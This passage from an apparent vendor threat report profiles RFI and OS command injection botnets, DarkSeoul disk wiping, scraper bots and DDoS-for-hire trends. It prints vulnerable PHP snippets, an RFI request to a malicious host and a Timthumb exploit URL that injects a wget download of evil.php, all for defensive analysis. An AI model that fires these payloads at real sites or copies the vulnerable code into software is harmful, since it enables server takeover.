It replaces the contents with the data represented by the string PRINCPES as shown by the API calls in Figure 28. It then subsequently attempts to find the next drive and partition on the victim system.

Figure 28: A runtime analysis of API calls to overwrite hard disk data

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The amount of damage that can be caused by such virus is massive, and malicious actors are only getting more motivated and sophisticated in their efforts. Recent campaigns described by Symantec reveal how data exfiltration and stealth are an important aspect of cyber warfare. The destruction of evidence is made possible by payloads such as the DarkSeoul group payloads above.

3.7 / Conclusion / The use of malware as tools of the trade by malicious actors is here to stay. Malware has evolved new features and adapted in response to security measures. The antivirus industry reacts to new threats by providing signatures of known malware. However, malicious actors have adapted their methods to bypass these defenses and developed new tools and exploits to further their campaigns. Some malware campaigns are destructive, making malware even more malicious. Some may even jeopardize business and organizational continuity.

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Akamai has profiled multiple web application attack botnets using a new analysis technique that takes advantage of data gleaned from the Akamai Intelligent Platform™. The identified botnets were set up to automate the

discovery of web application vulnerabilities for Remote File Inclusion (RFI) and OS Command Injection attacks. Akamai researchers profiled the botnets by identifying malicious code resource URLs and payloads that were identical among seemingly unrelated attacks. An attack payload was used to aggregate data and map botnet activity, actors and victim web applications.

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This technique could be applied to other types of attacks that use a distinct payload, such as one associated with a specific third-party domain or a common code snippet. The analysis can be conducted without being part of the botnet or taking over the botnet’s command-and-control (C&C, C2) server.

The botnet profiled here has attacked targets around the world from geographically dispersed sources. Once the botnet controls a machine, it is capable of remote shell command execution and remote file upload, as well as Short Message Service (SMS) and Internet Relay Chat (IRC) communication.

4.1 / About Remote File Inclusion Attacks / A remote file inclusion attack (RFI) is an attack technique used to exploit dynamic file include mechanisms in web applications, according to the Web Application Security Consortium (WASC) Threat Classification project. When web applications take user input (e.g., URL, parameter value) and pass them into file include commands, the web application may be tricked into including remote files that contain malicious code. The code is then executed by the server, granting the attacker remote command execution capabilities.

Attackers can find remote file inclusion vulnerabilities easily. It is often done by using simple static code analysis or by dynamically fuzzing (trying all characters for) each parameter of a web application, sending a remote URL, and pointing to some PHP code. Dynamic web security scanners find such vulnerabilities with high accuracy rates.

A PHP code sample from a sample URL at /page.php contains a remote file inclusion vulnerability, as shown in Figure 29.

Figure 29: Code vulnerable to a remote file inclusion attack

$dir = $_GET[‘module_name’];include($dir . “/function.php”);

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In this code, the developer receives a module name from a user-submitted query string parameter called module_name. The developer then uses this input (assuming it is a directory name) inside a call to the PHP include() function. A malicious hacker may exploit this vulnerability to include a remote piece of code, as shown in Figure 30.

Figure 30: Malicious actors transform the PHP include function into a query

GET /page.php?module_name=http://www.malicious.site/bad.php?

Although the developer intended to append an actual filename to the module_name parameter value, a malicious hacker could add an extra question mark (?) character to cause the text after the malicious URL to be treated as a query string instead.

4.2 / OS Command Injection / According to the WASC Threat Classification project, OS commanding is an attack technique used to execute unauthorized operating system commands. Also known as OS command injection, this attack is the result of mixing trusted code with untrusted data. The attack becomes possible when an application accepts untrusted input to build operating system commands in an insecure manner – involving improper data sanitization or the improper calling of external programs. In an OS command injection attack, executed commands by an attacker will run with the same privileges as the component that executed the command, (e.g., database server, web application server, web server, wrapper, application). Since the commands are executed under the privileges of the executing component, an attacker can leverage this capability to gain access and damage parts that are otherwise unreachable (i.e. the operating system directories and files).

An example of a PHP OS command injection vulnerability may look like the code in Figure 31.

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Figure 31: Code vulnerable to an OS command injection attack

<?phpif(isset($_GET[‘cmd’])){$cmd = ‘LicenseChecker.exe ‘ . $_GET[‘cmd’];passthru ($cmd);}?>

4.3 / Common Payloads in Botnets / In the Common Vulnerabilities and Exposures (CVE) database and other vulnerability databases, such as The Exploit Database, remote file inclusion and OS command injection vulnerabilities are among the most prevalent vulnerabilities reported and exist in many modern web applications and web frameworks.

The frequency with which these vulnerabilities are present and their ability to grant full control over the victim web server make them the most favorable attack vectors for malicious actors. In recent months, Akamai has observed massively orchestrated attempts to find such vulnerabilities in an automated manner using specially tailored botnets.

A malicious actor or group will usually write a piece of code to scan for RFI or command injection vulnerabilities, sending a unique malicious payload inside a parameter value. This malicious payload will usually point to a remote web server owned or controlled by the hacker, which includes the PHP code to be included or fetched. Attackers may use a botnet (a distributed network of machines running the same piece of scanning code) to speed up the scanning process.

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While machines in a botnet might be located in multiple countries, use different IP addresses and may even seem to belong to different organizations, the remote piece of code they are trying to inject will be identical – the remotely included URL or the content of the maliciously included PHP file.

For example, below are two hypothetical malicious RFI HTTP requests coming from two different IP addresses and going to two different web servers but each delivers the same malicious code resource URL:

Requesting IP address Code Resource URL

The similarities indicate a botnet of machines performing the same task for the same master.

Figure 32 illustrates two RFI attacks targeting two different web applications and coming from two different attackers but pointing to the same remote malicious piece of code.

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Figure 32: Different attackers using the same remote malicious code

Akamai researchers scanned Akamai’s Intelligent Platform, which stores Kona customer security event data, for the purpose of identifying RFI and OS command injection scanning botnets. In order to correlate between the attackers, we searched for web application firewall (WAF) triggers related to these two types of attacks across a timeframe of seven days and aggregated the results based on:

• Malicious payload• Malicious URL: either as an RFI payload or using wget for OS command injection

A hash enabled easy comparison of malicious PHP code. This correlation enabled Akamai to map multiple Internet botnets operating at this time.

4.4 / Botnet Findings /

4.4A / Targets / During a seven-day period, RFI and OS command injection botnets targeted more than 850 web applications across several top-level domains, as shown in Figure 33.

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Top Level Domain Targets

.com 485

.gov 79

.edu 1

.org 7

.mil 8

Country TLDs 270

Figure 33: Distribution of targets by top-level domain (TLD)

The top 10 country top-level domains of victim sites were distributed as shown in Figure 34.

Victim Sites Country TLD

23 .uk

20 .ca

14 .jp

13 .de

12 .es

12 .fr

11 .be

11 .nl

9 .ln

8 .dk

Figure 34: Targets by country domain

Targeted web applications were distributed across verticals as shown in Figure 35.

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Industry Vertical Percent of Victim Sites

Retail 26.4

Media & Entertainment 15.8

Hotel & Travel 12.4

Public Sector 12.0

High Technology 8.3

Business Services 7.3

Consumer Goods 5.3

Financial Services 3.9

Automotive 3.0

Manufacturing 1.5

Gaming 1.1

Pharma/Health Care 0.9

Software as a Service 0.8

Foundation 0.6

Energy & Utilities 0.3

Consumer Services 0.2

Miscellaneous 0.2

Figure 35: Most targeted web applications by industry vertical

4.4B / Attack Traffic Origins / All of the botnet attack traffic appeared to originate from compromised web servers. The majority of these compromised machines belonged to known, popular Software-as-a-Service (SaaS) and cloud hosting providers or website hosting providers. The compromised operating systems followed the distribution shown in Figure 36.

Web Server Number of Bots

Apache 11

Microsoft IIs 8


Unindentified 8

Figure 36: Operating systems used by botnets

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A closer look at the source countries of the attacking machines reveals attacks coming from 15 countries, as shown in figure 37. About a third of the attacking machines were located in the U.S. Only a minority of attacks came through proxies, which makes sense given that the attacking machines were compromised web servers.

Country Attackers

United States 10

United Kingdom 4

France 3

Germany 2

Spain 2

Argentina 1

Canada 1

Indonesia 1

Israel 11

Japan 1

South Korea 1

Romania 1

Turkey 1

Taiwan 1

Vietnam 1

Figure 37: Origins of attack traffic, which was all generated by compromised web servers

4.4C / Crawlers Disguised as Microsoft Bing Bots / Thorough scanning for RFI and OS command injection vulnerabilities in web applications requires that an attacker map the web application’s structure and locate all the relevant entry points (e.g., URLs and their corresponding HTTP parameters). The botnet Akamai analyzed included a dedicated Python script that performed web crawling. The crawlers often disguised themselves as a Microsoft Bing bot, but sometimes, perhaps by mistake, exposed themselves as written using a Python library such as urllib.

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Crawling capabilities for this kind of botnet are unusual and seems to indicate a technological advancement. The vast majority of similar botnets observed by Akamai are simple; scanning the Internet in a blind manner, looking for known vulnerabilities rather than probing to discover application-specific vulnerabilities.

4.4D / Propagation / Botnet operators strive to keep their botnets alive and continuously growing. Growth is achieved by infecting more and more servers. A specific botnet that Akamai researchers monitored for this case study used two WordPress Timthumb vulnerabilities for propagation and infection of additional machines. More details on the vulnerabilities can be found in CVE 2014-4663 and CVE 2011-4106.

The botnet used two payloads, one for each vulnerability. Sample payloads are shown in Figure 38 and Figure 39.

Figure 38: Sample payload 1


Figure 39: Sample payload 2

http://www.victim.site/phpThumb.php?rc=file.jpg&fltr[]=blur%7C9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;ls;&phpThumbDebug=9%0A?src=file.jpg&-fltr[]=blur%7C9%20-quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;wget% http://wordpress.com.malicious.site/evil.php %20-O%20evil.php;&phpThumbDebug=9

Another attribute of the botnet was its thorough coverage of all digital properties belonging to the victim’s organization. For example, for each target organization the botnet would scan all possible domains (i.e. victim.com, victim.co.uk, victim.de, etc).

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In addition to identifying RFI and OS command injection vulnerabilities, the botnet also appeared to scan for other types of application-layer vulnerabilities such as SQL injection.

4.5 / Analysis of Botnet Capabilities / Since RFI and OS command injection attacks both point to a malicious PHP resource that is accessible over the web, the task of obtaining the remote code is rather simple – all one has to do is download the code using a browser or HTTP client. The botnet code had text written in Malay, which may indicate the botnet owner is Malaysian.

4.5A / Remote Shell Command Execution / As shown in the source code in Figure 40, the botnet enables a remote user to execute commands on the victim application by using PHP’s shell_exec() command.

Figure 40: Code for remote shell execution

4.5B / Remote File Upload / The botnet also enables a remote attacker to upload arbitrary files to the victim’s machine quickly and easily, as shown in Figure 41.

Figure 41: Code for remote file upload

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4.5C / SMS Sending, Controlled by IRC Commands / Among the capabilities discovered in the code was the ability to send SMS (through a dedicated web service). This capability was controlled by commands sent to the botnet via IRC channels, as shown in Figure 42.

Figure 42: The botnet code for SMS-sending capability, which works over a dedicated IRC-channel

4.5D / Other Capabilities / The following two capabilities were also identified:

• Local FTP server credentials brute force attack• IRC-controlled UDP/TCP denial of service flood

4.6 / Conclusion / This botnet profiling technique presents a novel approach for the understanding of web application-layer botnets. Instead of relying on IP addresses or attack type, Akamai researchers used the attack payload as a common denominator with which to aggregate data and map botnet activity type, actors and victim applications.

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This approach to analysis is believed to be unique, and it doesn’t require the researcher to be a part of the botnet, nor does it require the researcher to take over the botnet’s C&C server in order to learn about its operation. However, this approach does require visibility into large portions of Internet traffic.

This analysis approach could be used for mapping other types of malicious activities, such as content injection, link spams, and web-based attacks that use a distinct payload such as one associated with a specific third-party domain or distinct piece of code.

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Bots, Spiders and Scrapers

Third-party content bots and scrapers are becoming more prevalent as developers seek to gather, store, sort and present a wealth of information available from other websites. These meta-searches typically use APIs to

access data, but many now use screen-scraping to collect information. As bots and scrapers become more prevalent, they increase the load on web servers. While bot behavior is benign for the most part, poorly-coded bots can impact site performance and may resemble denial of service attacks or may be part of a rival’s competitive intelligence program. Understanding the different categories of third-party content bots, how they affect a website, and how to mitigate their impact, is an important part of building a secure web presence.

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Akamai has seen bots and scrapers used for many purposes including:

• Setting up fraudulent sites• Reuse of consumer price indices• Analysis of corporate financial statements• Metasearch engines• Search engines• Data mashups• Analysis of stock portfolios• Competitive intelligence• Location tracking

Examples of some of these uses of third-party site content are shown in Figures 43, 44 and 45.

Figure 43: Bot targeting a financial aggregator to scrape a large amount of data quickly

Figure 44: A bot scraping a site for all content

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5.1 / Four Categories of Bots and Scrapers / Bots and scrapers can be divided into four categories depending on their desirability and their aggressiveness, as shown in Figure 46. Desirability is scored based on how much a site owner wants to host the bot. Aggressiveness is the rate of requests from the bot and its impact on site availability.

Figure 45: A bot making requests to a location finder

Figure 46: Ranking bots and scrapers by desirability and aggressiveness

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5.1A / Highly Desired, Low Aggression / Googlebot is a prime example of a highly desired bot. These bots help users find content and are well-behaved – they respect robots.txt and don’t make many requests at once.

5.1B / Undesired, Highly Aggressive / Some benign bots are poorly-coded and send a large volume of requests or have poor error handling, which puts them in an undesired category. Malicious bots that disrupt web servers by using GET or POST floods also fit in this category; in extreme cases, a bot may cause a small-scale application-layer denial of service attack. Some very aggressive scrapers attempt to iterate through lists of stocks or airfares very rapidly. In one case, a bot looking for pricing information on a retailer site disrupted analytics by making a high number of requests for a small number of products.

During 2014, Akamai has observed a substantial increase in the number of these bots and scrapers hitting the travel, hotel and hospitality sectors. The growth in scrapers targeting these sectors is likely driven by a proliferation of rapidly developed mobile apps that use scrapers as the fastest and easiest way to collect information from disparate websites.

Scrapers target room rate pages for hotels, as well as pricing and schedules for airlines. In many cases that Akamai has investigated, scrapers and bots were making several thousand requests per second, far in excess of what can be expected by a human using a web browser.

5.1C / Highly Desired, High Aggression / Highly desirable bots with high aggression are more difficult to manage because they can’t be blocked totally. However, their aggressiveness can cause site slowdowns and latency. An example is the spider bot from the Chinese search engine Baidu. Baidu bots have poor request throttling, and can even saturate their own outbound network. This type of search

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spider can help organizations attract new users in emerging markets, such as Brazil, Russia, India and China, but in the process, they may flood sites with requests and thus trigger alerts for possible denial of service attacks.

5.1D / Low Desirability, Low Aggression / Bots that crawl a site’s product pages with intent to reuse the content on shadow sites for fraud or counterfeiting scams fit into this category. These bots often stay under the detection threshold of security products and try to blend in with regular user traffic through the use of headless browsers such as PhantomJs, making them difficult to block.

An interesting development in the use of headless browsers is the advent of companies that offer scraping as a service, such as PhantomJs Cloud. These sites make it easy for users to scrape content and have it delivered, lowering the bar to entry and making it easier for unskilled individuals to scrape content while hiding behind a service.

5.2 / Triage and Categorization / Mitigation techniques vary depending on the classification of the bot. Akamai uses a wide variety of techniques to determine the owner and intent of a bot. For example, the volume of requests can help Akamai determine the bot’s platform. In general, we use the following categorizations:

• Home broadband connection: 1,000-4,000 requests per minute • Branch office: 5,000-10,000 requests per minute• Hosted server or server farms: 10,000+ requests per minute

The sequence and pages a bot scrapes can also reveal information about the bot’s intent. For example, a competitive-analysis bot will only scrape product descriptions, SKU/item IDs and prices, while a fraudulent bot will also request images. A website copier, such as a recursive Wget (formerly Geturl), also loads index and search pages.

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In addition, the user-agent header can sometimes provide a unique and identifiable user agent – such as Googlebot, url-lib or curl – and Whois can sometimes expose bot owners.

5.3 / Mitigation / For each type of bot, there is a corresponding mitigation strategy, as shown in Figure 47.

Figure 47: Mitigation strategies based on bot desirability and aggressiveness

5.3A / Undesired, Highly Aggressive / The most readily detectable bots are often those with very high aggression and low desirability. Server log analysis may show many hits to a page in a short amount of time, often crawling through lists of URLs. Bots like these are usually easily detected and easily mitigated using a combination of blacklists and rate controls; both capabilities are built into Akamai’s Kona Web Application Firewall.

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The key to mitigating aggressive, undesirable bots is to reduce their efficiency. In most cases, highly aggressive bots are only helpful to their controllers if they can scrape a lot of content very quickly. By reducing the efficiency of the bot through rate controls, tar pits or spider traps, bot-herders can be driven elsewhere for the data they need.

In some cases, bots are targeting login pages. Login abuse has become prevalent in the wake of major credential breaches. With login abuse, attackers, usually carder gangs, often use a bot to make queries to the login page of a website. By automating username and password checks, most often using a purchased list of userids and passwords, attackers attempt to find valid credentials. Once validated, these credentials can be used for account takeovers or they can be sold. Rate controls are a highly effective way of mitigating these attacks since the attack relies on the bot’s ability to iterate through a long list of credentials very quickly.

5.3B / Highly Desired, High Aggression / Aggressive but desirable bots are a slightly different problem. These bots adversely impact operations, but they bring a benefit to the organization. Therefore, it is impractical to block them fully. Rate controls with a high threshold, or a user-prioritization application (UPA) product, are a good way to minimize the impact of a bot. This permits the bot access to the site until the number of requests reaches a set threshold, at which point the bot is blocked or sent to a waiting room. In the meantime, legitimate users are able to access the site normally.

5.3C / Low Desirability, Low Aggression / Bots that attempt to evade controls and disguise themselves as normal traffic are a challenge to mitigate. In many cases, these bots are watched closely by their owners, and their behavior may be modified on the fly to adapt to new defenses. This class of bots, with low aggression and low desirability, are probably the most difficult to mitigate. The best response Akamai

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has developed is to employ client validation on sensitive pages. Java checkers and CAPTCHAs can slow the bot and force the controllers to add more code to try to pass the validation scheme.

While it is almost impossible and usually undesirable to defend an entire site from bots of this type, placing countermeasures around sensitive pages, such as search and login pages, can curtail bot activity. In many cases, organizations combine validation with rate controls, and only use the validation scheme with suspicious IP addresses that have crossed set thresholds.

Be aware that dedicated bot-herders will adapt to most client validation methods eventually. The goal is to reduce the efficiency of the bot and make it too costly for the bot-herder to continue to operate against the organization’s website.

5.3D / Highly Desired, Low Aggression / Finally, there is the case of bots that are desired and are not overly aggressive. While it’s possible to ignore this class of bots, there are ways to further reduce their impact on a website. In many cases, these bots are looking for information and don’t have another method of collecting it. Offering an API or a dedicated data feed can move the load off the website and free up resources for users, while providing other organizations the information they need in a more digestible form. This approach will not work in all situations – web spiders will always request a web page, for example, but if business partners are looking for rate or location information, providing a better way to request the data can be a viable option.

5.4 / Conclusion / Moving forward, bots and scrapers will continue to be a problem for many organizations, regardless of industry. Sites interested in providing metasearches to users will continue to employ bots to crawl the web and to collect the data they need. Attackers and extortionists will continue to deploy bots and try to get around network layer controls by attacking the application layer. The number

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of scrapers will increase as developers create small mobile apps that aggregate data for the convenience of their users. Development of a strategy to contain and mitigate the effects of undesirable bots should be a part of the operations plan of every website.

Whether using a defensive framework such as the one presented here, or another method, it’s important for each organization to evaluate which bots it will allow to access its site. A set of bots that are highly desirable for one organization may appear malicious to another, and the criteria can change over time. As an organization expands into new markets, a previously unwanted bot may become the key to sharing information. Frequent analysis and modification of security policies is key to mitigating the risks posed by bots and scrapers.

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The DDoS-for-hire underground market is gaining momentum. The expansion of the Internet infrastructure, the addition of millions of potentially exploitable Internet-enabled devices and the steady discovery

and disclosure of significant vulnerabilities in web applications has driven mass exploitation and botnet building. The DDoS threatscape is expanding and will continue to do so as long as these factors are present.

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Even though no records were broken in either volumetric and application-based benchmarks in Q4, there are indicators that records will be broken in the future, such as an SSDP attack peaking at 106 Gbps and the new XMAS-DDoS attack based on a Christmas tree packet generating more than 100 Gbps.

DDoS trends include more attacks, the common use of multi-vector campaigns, the availability of booter services and the low cost of a DDoS campaign that can take down a typical business or organization. The expansion of the DDoS-for-hire market may result in the commoditization of DDoS attacks, where availability drives down prices, which grows the market. DDoS may become a common tool for even non-technical criminals.

With a flourishing DDoS-for-hire market comes attack innovation, more complex attacks and bigger attacks. The refinement and increased sophistication of attack vectors is likely to follow an expansion trend, if nothing is done to break the workflow of factors driving the growth of the DDoS-for-hire market.

Collaboration is imperative for the software and hardware development industry, application and platform service providers, and the security industry in order to break the cycle of mass exploitation, botnet building and monetization.

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About Prolexic Security Engineering & Research Team (PLXsert)PLXsert monitors malicious cyber threats globally and analyzes these attacks using proprietary techniques and equipment. Through research, digital forensics and post-event analysis, PLXsert is able to build a global view of security threats, vulnerabilities and trends, which is shared with customers and the security community. By identifying the sources and associated attributes of individual attacks, along with best practices to identify and mitigate security threats and vulnerabilities, PLXsert helps organizations make more informed, proactive decisions.

About Customer Security Incident Response Team (csirt)The Akamai Customer Security Incident Response Team (csirt) researches attack techniques and tools used to target our customers and develops the appropriate response – protecting customers from a wide variety of attacks ranging from login abuse to scrapers to data breaches to Dns hijacking to distributed denial of service. It’s ultimate mission: keep customers safe. As part of that mission, Akamai Csirt maintains close contact with peer organizations around the world, trains Akamai’s PS and CCare to recognize and counter attacks from a wide range of adversaries, and keeps customers informed by issuing advisories, publishing threat intelligence and conducting briefings.

About Threat Research Team The Threat Research Team is responsible for the security contents and protection logic of Akamai’s cloud security products. The team performs cutting edge research to make sure that Akamai’s cloud security products are best of breed, and can protect against the latest application layer threats.

ContactTwitter: @State_InternetEmail: [email protected]

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